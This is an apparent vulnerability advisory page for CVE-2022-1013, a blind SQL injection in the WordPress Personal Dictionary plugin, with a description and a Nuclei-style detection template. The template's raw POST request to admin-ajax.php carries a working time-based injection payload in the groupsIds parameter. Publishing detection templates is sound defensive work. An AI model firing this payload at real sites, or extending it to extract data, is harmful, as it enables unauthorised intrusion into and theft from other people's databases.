CVE-2022-1013: WordPress Personal Dictionary <1.3.4 - Blind SQL Injection

2025-08-01 WordPress Personal Dictionary PoC Public

Description

WordPress Personal Dictionary plugin before 1.3.4 contains a blind SQL injection vulnerability. The plugin fails to properly sanitize user-supplied POST data before being interpolated in an SQL statement and executed. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2022-1013

info:
  name: WordPress Personal Dictionary <1.3.4 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Personal Dictionary plugin before 1.3.4 contains a blind SQL injection vulnerability. The plugin fails to properly sanitize user-supplied POST data before being interpolated in an SQL statement and executed. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: Fixed in version 1.3.4.
  reference:
    - https://wpscan.com/vulnerability/eed70659-9e3e-42a2-b427-56c52e0fbc0d
    - https://wordpress.org/plugins/personal-dictionary/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1013
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1013
    cwe-id: CWE-89
    epss-score: 0.07681
    epss-percentile: 0.94285
    cpe: cpe:2.3:a:ays-pro:personal_dictionary:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ays-pro
    product: personal_dictionary
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp,unauth,wpscan,sqli,wordpress,wp-plugin,personal-dictionary,ays-pro,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ays_pd_ajax&function=ays_pd_game_find_word&groupsIds[]=1)+AND+(SELECT+3066+FROM+(SELECT(SLEEP(7)))CEHy)--+-

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "\"status\":true,")'
        condition: and
# digest: 4b0a00483046022100d490d6c4e8d43258bb428ccdfe40fa212eef0f0484b18e3f9170cc28f7c6508d022100dd302767d9e686d5565a160f058d8bfbd47102b3306d153b025a13bf70e62221:922c64590222798bb761d5b6d8e72950

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